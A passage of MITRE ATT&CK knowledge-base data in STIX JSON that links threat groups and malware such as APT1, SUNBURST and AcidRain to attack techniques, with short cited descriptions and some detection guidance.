Dragon](https://attack.mitre.org/groups/G1007) has spread malware in target networks by copying modules to folders masquerading as removable devices.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-14T20:16:24.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--288d8f70-d2af-44f8-86c9-fb8c2cd5103f","type":"relationship","created":"2021-01-21T22:47:19.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:23:23.406Z","description":"[Raindrop](https://attack.mitre.org/software/S0565) was built to include a modified version of 7-Zip source code (including associated export names) and Far Manager source code.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28926061-1d1a-4a32-ac51-c2d4520ba200","created":"2024-09-25T13:39:18.005Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:39:18.005Z","description":"Monitor network traffic content for resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2892eada-7633-4428-80e0-0e965d5faf5c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:41.047Z","description":"[DustySky](https://attack.mitre.org/software/S0062) has used both HTTP and HTTPS for C2.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--289c43cc-3b61-4b33-8af7-3010c94b6467","type":"relationship","created":"2021-11-22T15:02:15.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-11-22T15:02:15.267Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--289e01df-60e6-4eee-830e-9d742ac10c86","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/living-off-the-land/","description":"Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.","source_name":"Dell TG-1314"}],"modified":"2020-03-19T21:58:20.958Z","description":"[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors spawned shells on remote systems on a victim network to execute commands.(Citation: Dell TG-1314)","relationship_type":"uses","source_ref":"intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28a113cd-efdc-49cf-b6d2-c967e11de751","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.619Z","description":"Some [Brave Prince](https://attack.mitre.org/software/S0252) variants have used South Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28a4517c-89b9-4744-a58f-6a1f1fec3c33","type":"relationship","created":"2020-03-17T23:39:44.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"}],"modified":"2020-03-17T23:39:44.707Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) has copied legitimate service names to use for malicious services.(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28a76700-4834-4a1b-bb56-2005bc044e29","created":"2020-05-13T19:06:23.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.208Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has injected a DLL library containing a Trojan into the fwmain32.exe process.(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--28abd456-dafd-495a-8ea1-13ee20bcea7c","created":"2022-03-30T14:26:51.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for files being accessed that could be related to exfiltration, such as file reads by a process that also has an active network connection. Also monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces. ","modified":"2022-04-10T17:20:02.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28b27852-4125-4639-a07b-0b97dfdb650a","type":"relationship","created":"2017-05-31T21:33:27.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-19T22:03:51.335Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has been known to use credential dumping using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28b3fb26-c7f8-481d-8424-895953bfb492","type":"relationship","created":"2021-01-10T17:15:22.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-14T16:42:49.839Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) encrypted C2 traffic using a single-byte-XOR cipher.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28b56048-87a7-4204-b55b-3f2f79f9073f","type":"relationship","created":"2019-01-29T19:18:28.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.717Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can steal data from the clipboard.(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28bde4e9-cc84-4356-a872-b18fc3dd49ab","type":"relationship","created":"2021-01-25T13:58:25.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-01-25T13:58:25.238Z","description":"[Dtrack](https://attack.mitre.org/software/S0567)’s dropper contains a keylogging executable.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28c17b23-901c-46d5-84f2-544401f68d83","type":"relationship","created":"2020-06-16T17:53:18.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-16T17:53:18.782Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has obfuscated .NET executables by inserting junk code.(Citation: ESET Gamaredon June 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28c56887-5dbb-4269-b783-8a7f8d4c9204","type":"relationship","created":"2021-03-19T13:19:57.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:19:57.067Z","description":"[Out1](https://attack.mitre.org/software/S0594) has the ability to encode data.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28d30695-5015-431d-baa6-9e75088a2a83","type":"relationship","created":"2020-05-05T18:47:47.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Imminent Unit42 Dec2019","url":"https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/","description":"Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020."}],"modified":"2020-05-05T18:47:47.310Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a keylogging module.(Citation: Imminent Unit42 Dec2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28d3336f-108b-40fb-b3d7-9ec4311931c4","type":"relationship","created":"2020-09-23T17:54:32.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.677Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can retrieve payloads from the C2 server.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28d36206-062f-42be-93a1-f9cf2910c3c4","created":"2024-03-25T16:45:41.768Z","revoked":false,"external_references":[{"source_name":"AcidRain JAGS 2022","description":"Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. Retrieved March 25, 2024.","url":"https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T16:45:41.768Z","description":"[AcidRain](https://attack.mitre.org/software/S1125) performs an in-depth wipe of the target filesystem and various attached storage devices through either a data overwrite or calling various IOCTLS to erase it.(Citation: AcidRain JAGS 2022)","relationship_type":"uses","source_ref":"malware--04cecafd-cb5f-4daf-aa1f-73899116c4a2","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28d4a66d-2b1f-4662-9e8e-4ba8ff4bcaf0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lookout Dark Caracal Jan 2018","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}],"modified":"2020-01-17T19:36:09.450Z","description":"[CrossRAT](https://attack.mitre.org/software/S0235) is capable of taking screen captures.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"malware--a5e91d50-24fa-44ec-9894-39a88f658cea","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28d81681-8dcf-45ee-a5e6-378327ce93ce","created":"2023-04-10T16:55:49.177Z","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:55:49.177Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malware that exfiltrates stolen data to its C2 server.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28d9ac63-ce5f-4d42-be72-6b4d99b6fda7","type":"relationship","created":"2020-12-29T19:13:11.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T19:13:11.254Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used 7-Zip to archive data.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28e637e9-480a-443b-82d7-13b7e2968733","created":"2019-04-16T12:57:12.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sophos SamSam Apr 2018","description":" Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf"},{"source_name":"Talos SamSam Jan 2018","description":"Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019.","url":"https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:09:57.263Z","description":"[SamSam](https://attack.mitre.org/software/S0370) has been seen using AES or DES to encrypt payloads and payload components.(Citation: Sophos SamSam Apr 2018)(Citation: Talos SamSam Jan 2018)","relationship_type":"uses","source_ref":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--28e6612e-5f92-42b0-b722-a49a43a75908","created":"2022-05-05T17:38:23.474Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use custom shellcode to map embedded DLLs into memory.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T17:38:23.474Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28ec0a8d-1c74-4a73-a9bd-2b7445e70889","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28ee4a1e-1e63-4c72-8424-4f923b074ad9","type":"relationship","created":"2020-05-06T18:12:24.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:39:06.454Z","description":"(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28f7e7c9-76ef-48c7-b027-f32256ad2907","created":"2023-02-23T18:24:28.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:14:41.807Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has redirected compromised machines to an actor-controlled webpage through HTML injection.(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28f9eaad-08f6-4f14-a74d-192c28251819","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including the startup folders. (Citation: TechNet Autoruns)","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 